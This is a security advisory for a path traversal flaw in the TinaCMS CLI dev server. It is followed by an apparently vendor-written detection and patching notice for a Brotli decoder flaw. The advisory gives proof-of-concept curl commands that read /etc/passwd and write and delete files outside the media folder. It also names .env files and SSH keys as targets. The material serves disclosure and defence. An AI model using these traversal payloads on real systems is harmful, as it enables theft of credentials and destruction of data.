CVE-2026-28793

EUVD-2026-11613 · Published Mar 12, 2026

TinaCMS Vulnerable to Path Traversal Leading to Arbitrary File Read, Write and Delete

Summary

The TinaCMS CLI development server exposes media endpoints that are vulnerable to path traversal, allowing attackers to read and write arbitrary files on the filesystem outside the intended media directory.

Details

When running tinacms dev, the CLI starts a local HTTP server (default port 4001) exposing endpoints such as:

/media/list/*
/media/upload/*
/media/*

These endpoints process user-controlled path segments using decodeURI() and path.join() without validating that the resolved path remains within the configured media directory.

Vulnerable code

bb.on('file', async (_name, file, _info) => {
      const fullPath = decodeURI(req.url?.slice('/media/upload/'.length));
      const saveTo = path.join(mediaFolder, ...fullPath.split('/'));
// No validation that saveTo remains within mediaFolder
      await fs.ensureDir(path.dirname(saveTo));
      file.pipe(fs.createWriteStream(saveTo));
    });

PoC

Arbitrary File Read

curl "http://localhost:4001/media/list/../../../etc/passwd"

Result:

Arbitrary File Write

echo "ATTACKER_CONTROLLED_CONTENT" > /tmp/payload.txt

curl --path-as-is -X POST \
  "http://localhost:4001/media/upload/../../../../../../tmp/pwned.txt" \
  -F "file=@/tmp/payload.txt"
cat /tmp/pwned.txt

Result:
<img width="1320" height="84" alt="image(8)" src="https://github.com/user-attachments/assets/8bd5046b-0456-474f-ab96-4e18a421997c" />

Arbitrary File Delete

echo "delete_me" > /tmp/delete-test.txt
cat /tmp/delete-test.txt # confirms file exists
curl --path-as-is -X DELETE \
"http://localhost:4001/media/../../../../../../tmp/delete-test.txt"
cat /tmp/delete-test.txt # "No such file or directory"

Impact

An attacker who can reach the TinaCMS CLI dev server can:

Read arbitrary files (e.g. /etc/passwd, .env, SSH keys)
Write arbitrary files anywhere writable by the server process
Delete or overwrite files, depending on endpoint usage
Escalate to code execution in realistic development setups by overwriting executable scripts, configuration files, or watched source files

Attack Surface

The dev server binds to localhost by default, but exploitation is realistic in:

Cloud IDEs (Codespaces, Gitpod)
Docker or VM setups with port forwarding
Misconfigured dev environments binding to 0.0.0.0
Local malware or malicious dependencies

The server also enables permissive CORS, which may allow browser-based exploitation if the dev server is externally reachable, but CORS is not required for exploitation.

Recommended Fix

Resolve paths to absolute form
Enforce that resolved paths remain within the media root
Reject .. path segments and absolute paths
Consider authentication or token protection for dev server endpoints

Technologies

Ssw Tinacms\/CliTinacms Cli

Weaknesses

CWE-22

CVSS scores

v3.18.4CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

ReconImpact

Privilege Escalation

T1068Exploitation for Privilege Escalation

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

Criticalyesterday

Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Two situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with "Content-Encoding: br" at the reverse proxy or WAF. When the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag "paas: platform.sh" or "cdn: fastly" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Contact your edge provider about the status of the pathing (Fastly / Plateform.sh) Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.